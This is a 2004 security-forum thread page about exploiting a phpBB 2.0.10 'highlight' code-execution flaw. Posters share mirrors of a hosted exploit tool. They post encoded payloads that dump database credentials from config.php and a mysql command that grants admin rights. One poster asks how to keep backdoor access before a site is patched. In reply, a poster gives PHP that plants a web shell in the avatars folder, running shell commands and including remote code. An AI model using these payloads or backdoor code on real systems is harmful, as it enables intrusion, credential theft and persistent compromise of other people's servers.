Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
September 20, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 217
Members: 0
Total: 217
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> vulns in phpbb 2.0.10 Goto page Previous  1, 2, 3, 4  Next
Post new topic  Reply to topic View previous topic :: View next topic 
Re: Uploading...
PostPosted: Fri Nov 26, 2004 2:46 pm Reply with quote
LINUX
Moderator
Moderator
 
Joined: May 24, 2004
Posts: 404
Location: Caiman




ReFleX wrote:
Okey, here I put the script


http://www.sururufitness.com/2bgal/stat/lang/

It's hide....

Its = to the other script of howdark The same face So just test it, I will upload it o other servers so we can have alternatives

I've to work so in a few hour I make a tar with all the files of the exploit together

Laughing Laughing Laughing

Good job

Spanish:Hey Reflex groxo trabajo si necesitas mas mirrors avisame

Laughing
View user's profile Send private message Visit poster's website
another one
PostPosted: Fri Nov 26, 2004 3:38 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




Ok.. i'm again.. here you have another mirror of the exploit....
enjoy

http://www.mendozarranca.com/themes/MendozaArranca/style/

In a few hour we post another one
View user's profile Send private message Visit poster's website
PostPosted: Fri Nov 26, 2004 10:08 pm Reply with quote
SteX
Advanced user
Advanced user
 
Joined: May 18, 2004
Posts: 181
Location: Serbia




A tested script on several sites and nothing..
I have CURL Extension localy,so i tryed original exploit ,but it dont work also..

_________________

We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
-------------------------------------------------------
View user's profile Send private message
what?
PostPosted: Fri Nov 26, 2004 11:49 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




Stex, we test it a lot of times and it works perfect.

I have been working in the exploit And I found that we can INCLUDE files so we can execute like batch files (to get list of tables) or something were you need more than one line of code. I'm working on it to add this to the exploit, On monday I'll upload it so keep playing with this.

okey!.. see u guys

Laughing Laughing
View user's profile Send private message Visit poster's website
PostPosted: Mon Nov 29, 2004 3:43 pm Reply with quote
zer0-c00l
Advanced user
Advanced user
 
Joined: Jun 25, 2004
Posts: 72
Location: BRAZIL!




i Made a exploit in visual basic Smile
View user's profile Send private message
okey
PostPosted: Mon Nov 29, 2004 4:04 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




okey guys here is the new exploit, in that one you can include files. To include files, just selec de correct option (INCLUDE) ande the put the path of the php file you want to include

Code:
http://www.host.com/include.php


But, you have to add an ? because theres is an ADD at the end of the line, so you path would be like...

Code:
http://www.host.com/include.php?


the url of the script is

Code:
http://www.sururufitness.com/2bgal/stat/lang/


http://www.sururufitness.com/2bgal/stat/lang/

okey see u guys
View user's profile Send private message Visit poster's website
PostPosted: Sat Dec 04, 2004 12:44 pm Reply with quote
kizkur
Regular user
Regular user
 
Joined: Dec 04, 2004
Posts: 11




sorry, my ingles is not good

first I do

&highlight=%2527%252esystem(chr(116)%252echr(97)%252echr(105)%252echr(108)%252echr(32)%252echr(99)%252echr(111)%252echr(110)%252echr(102)%252echr(105)%252echr(103)%252echr(46)%252echr(112)%252echr(104)%252echr(112))%252e%2527


and I obtain

$dbhost = 'localhost'; $dbname = 'foro'; $dbuser = 'root'; $dbpasswd = 'xxxx'; $table_prefix = 'phpbb_'; define('PHPBB_INSTALLED', true); ?>

now I do

&highlight=%2527.$poster=%60$ls%60.%2527&ls=mysql%20-h%20localhost%20-u%20root%20--password=xxxx%20-D=foro%20-e%20"UPDATE%20phpbb_users%20SET%20user_level=1%20WHERE%20user_id=xxx"


and it responds

Warning: Unknown modifier 'P' in /home/foro/public_html/foro/viewtopic.php(1104) : regexp code on line 1

Warning: Unknown modifier 'P' in /home/foro/public_html/foro/viewtopic.php(1104) : regexp code on line 5

that I make bad?

thank you

i am speak spanish
View user's profile Send private message
PostPosted: Mon Dec 06, 2004 1:30 am Reply with quote
Leps
Beginner
Beginner
 
Joined: Dec 03, 2004
Posts: 3




Just as some help:
I know a website with this vulnerability open, yet I'm sure they'll patch it sooner or later. I'd like to keep a few backdoors, like passthru()'s, and include()'s in random parts of the site, maybe new files, but I'd rather it was in current files, edited.
I've tried doing some echo "<?php myscript ?>" > myfile.php but it doesn't work, and neither does cat "<?php passthru($cmd); ?>" > file.php

Could anyone tell me a way to add some backdoors, before it's closed?
Thanks.
View user's profile Send private message
PostPosted: Mon Dec 06, 2004 4:55 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




okey guys, I'll try to help you Laughing

kizkur... i dont know what you are trying to do, use the script that i post before, I try with this... It's works fine Cool.

and know I'll explain how to get the access also when they update their forums, You have to create an script in a folder where you have access. The perfect one is images/avatars Very Happy Very Happy

Make and script in php, host it in some webserver and include it with my script. I'll post my script here

Code:

$fd = fopen ("/home/xxxx/public_html/forums/images/avatars/206904454741aba32699d2b.php", "w");

$codigo = '<?';
$codigo .= "\n" . '$w = $_GET[w];';
$codigo .= "\n" . '$a = $_GET["a"];';
$codigo .= "\n" . 'if ($w == "a") { ';
$codigo .= "\n" . 'system($a);';
$codigo .= "\n" . '}';
$codigo .= "\n" . 'else if ($w == "b") {';
$codigo .= "\n" . 'include("http://www.geocities.com/" . $a);';
$codigo .= "\n" . '}';
$codigo .= "\n" . 'else {';
$codigo .= "\n" . 'include($a);';
$codigo .= "\n" . '}';
$codigo .= "\n" . '?>';

echo $codigo;

fwrite($fd, $codigo);
fclose ($fd);
?>


When you include this file, it will create a file 206904454741aba32699d2b.php

and thas all you have access also when they update their forum

hope this help someone
View user's profile Send private message Visit poster's website
okey
PostPosted: Tue Dec 07, 2004 1:11 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




okey guys the script is down... the admins of the webserver realize that in that page was the exploit so they drop. I 've put it in another host...
here is the URL

Code:
http://www.mendozarranca.com/themes/MendozaArranca/style/


Be carefull cos it is in a not so legal host Laughing Laughing Laughing Laughing

okey... keep playing
View user's profile Send private message Visit poster's website
PostPosted: Tue Dec 07, 2004 5:18 pm Reply with quote
kizkur
Regular user
Regular user
 
Joined: Dec 04, 2004
Posts: 11




thank you raflex
View user's profile Send private message
PostPosted: Fri Dec 31, 2004 12:42 pm Reply with quote
egw
Beginner
Beginner
 
Joined: Dec 31, 2004
Posts: 4




ok now a (simple?) problem
I am trying this in a postnuke site and when i try
&highlight=%2527%252esystem(chr(116)%252echr(97)%252echr(105)%252echr(108)%252echr(32)%252echr(99)%252echr(111)%252echr(110)%252echr(102)%252echr(105)%252echr(103)%252echr(46)%252echr(112)%252echr(104)%252echr(112))%252e%2527
i get
Code:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in //www/html/__site/modules/PNphpBB2/viewtopic.php(2468) : regexp code on line 1

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in //www/html/__site/modules/PNphpBB2/viewtopic.php(2468) : regexp code on line 1
// if there is a personal_config.php in the folder where is config.php // we add it. (This HAS to be at the end, after all initialization.) // ---------------------------------------------------------------------- if (@file_exists("personal_config.php")) { include("personal_config.php"); } // ---------------------------------------------------------------------- // Make config file backwards compatible (deprecated) // ---------------------------------------------------------------------- extract($pnconfig, EXTR_OVERWRITE); ?>

repetead 100 times.
Any idea?
View user's profile Send private message
PostPosted: Fri Dec 31, 2004 4:23 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




I were trying to exploit this bug in phpnuke with module phpbb but I couldnt get anything... if someone know how to do it......

Also I'll keep trying
View user's profile Send private message Visit poster's website
PostPosted: Fri Dec 31, 2004 6:18 pm Reply with quote
Injector
Active user
Active user
 
Joined: Dec 29, 2004
Posts: 49




sorry i tried to use the exploit but i dont seem to know how to use it. What do i place on the third box?
View user's profile Send private message
PostPosted: Fri Dec 31, 2004 9:16 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




It easy, in the thrid box you have to put what you select in the option (CMD, SQL OR INCLUDE)

CMD: you can execute commands LINUX/WINDOWS directly on the server (like a shell)

INCLUDE: You can put some URL to some file with a php script so you can execute your own programas in the webserver. REmember to add an ? at the end of the url like http://www.host.com/file.txt?

SQL: Here you can inject code SQL to modify the databse so you can give your own admin with something like
UPDATE phpbb_users SET user_level = 1 WHERE uid=<your UID>

and thats all... try to be a good guy hahaha

lol
View user's profile Send private message Visit poster's website
vulns in phpbb 2.0.10
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 3 of 4  
Goto page Previous  1, 2, 3, 4  Next
  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Game Hints
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.069 Seconds